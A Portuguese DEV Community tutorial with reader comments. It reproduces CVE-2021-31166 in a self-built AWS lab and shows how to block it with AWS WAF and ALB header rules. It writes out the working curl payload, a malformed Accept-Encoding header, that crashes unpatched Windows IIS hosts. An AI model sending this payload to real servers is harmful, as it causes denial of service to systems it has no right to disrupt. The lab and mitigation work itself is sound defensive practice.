DEV Community

Cover image for Causando Tela Azul da Morte no Windows pelo IIS
Bruno Gabriel da Silva
Bruno Gabriel da Silva

Posted on

Causando Tela Azul da Morte no Windows pelo IIS

Estou sem tempo, pode resumir?

  • Um novo CVE-2021-31166 pode forçar Kernel Crash (TELA AZUL) no Windows 10 e Server Core

  • Versões afetadas são as mais recentes 20H1 - Build 19041 e 20H2 - Build 19042 sem o devido Windows Update.

  • O bug pode afetar WinRM e IIS

Este artigo foi escrito para que você teste em SUA conta AWS, e possa simular o CVE.

A forma mais rápida de ficar tranquilo perante este assunto, é você ter controle sobre as versões do Windows 10 e Windows Server que você possui em sua infra. Como bem sabemos em grandes corporações não é simplesmente "Rodar Windows Update", os updates precisam ser testados e aprovados... e isto pode causar um delay na atualização.

Para reproduzir este problema em um ambiente controlado, você pode aplicar o terraform abaixo. Com este terraform será criado uma EC2 Windows Server Core 20H2 com updates até Abril-21, bem como um Load Balancer do tipo Application, uma vez que precisamos ter uma Proxy frente ao IIS para nos proteger.

Executando o Terraform

git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
Enter fullscreen mode Exit fullscreen mode

Reavendo valores do ALB DNS e IP da EC2

#Caso você esteja usando Windows, rode somente o comando dentro dos ()
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
Enter fullscreen mode Exit fullscreen mode

Como o Windows leva mais tempo para terminar o bootstrap e instalar o IIS, pode demorar uns 2-3 minutes até que você possa efetuar o teste.

Testando Acesso pelo Loadbalancer e pela EC2

#Testando acesso apenas uma vez
curl -I $ALB
curl -I $EC2IP
#Testando acesso de forma continua ALB
while true; do curl -I $ALB --connect-timeout 1 ; done

#Testando acesso de forma continua EC2
while true; do curl -I $EC2IP --connect-timeout 1 ; done
Enter fullscreen mode Exit fullscreen mode

Testando Acesso pelo curl e pelo navegador

curl

Navegador

Executando o payload para forçar o Crash

#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"

#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
Enter fullscreen mode Exit fullscreen mode

Acompanhando o acesso de forma continua[1] e executando o payload[2]

Alt Text

Alt Text

É possível perceber pela mudança do status 200 OK para curl: (28) Connection timed out after o qual demonstra que algo ocorreu do lado do IIS. Ao acessar a EC2 pelo SSM Session e rodando o comando powershell Get-EventLog -LogName System | Where-Object { $_.EventID -eq '6008' } que houve um desligamento inesperado do SO.

Alt Text

Forma de Proteção 1 - AWS WAF

Utilizando-se o AWS WAF + ALB é possível criar uma regra que realize um filtro baseado no Header Http, e faça o drop do pacote antes de alcançar o IIS. Você pode utilizar esta JSON Rule como base.

Verificando o resultado do mesmo comando do payload sendo filtrado pelo AWS WAF:

Alt Text

Forma de Proteção 2 - AWS ALB

Em alguns casos sua empresa não utiliza WAF, ou você não tem acesso a modificar regras. Utilizando-se o ALB ARR podemos criar uma regra baseada no Header:

Criando Regar no ALB:

Alt Text

Testando Payload com Regra no ALB(WAF removido):

Alt Text

Realizando Limpeza...

terraform destroy --auto-approve
Enter fullscreen mode Exit fullscreen mode

Top comments (5)

Collapse
 
tavaresrodrigo profile image
Rodrigo Tavares

Excelente artigo, Bruno! Simples, claro e objetivo, vai ajudar muita gente!

Collapse
 
henrique_santana profile image
Henrique Santana

Sensacional! Forma simples de se proteger pra quem ainda não conseguiu aplicar update!

Collapse
 
pabloschutz profile image
pabloschutz

Agora ficou muito bom!

Collapse
 
globsecure profile image
William R. Fernandes

Ótimo artigo Bruno, qualidade de informação.

Collapse
 
sanguedemonstro profile image
João Paulo Melo

Muito bom, Bruno!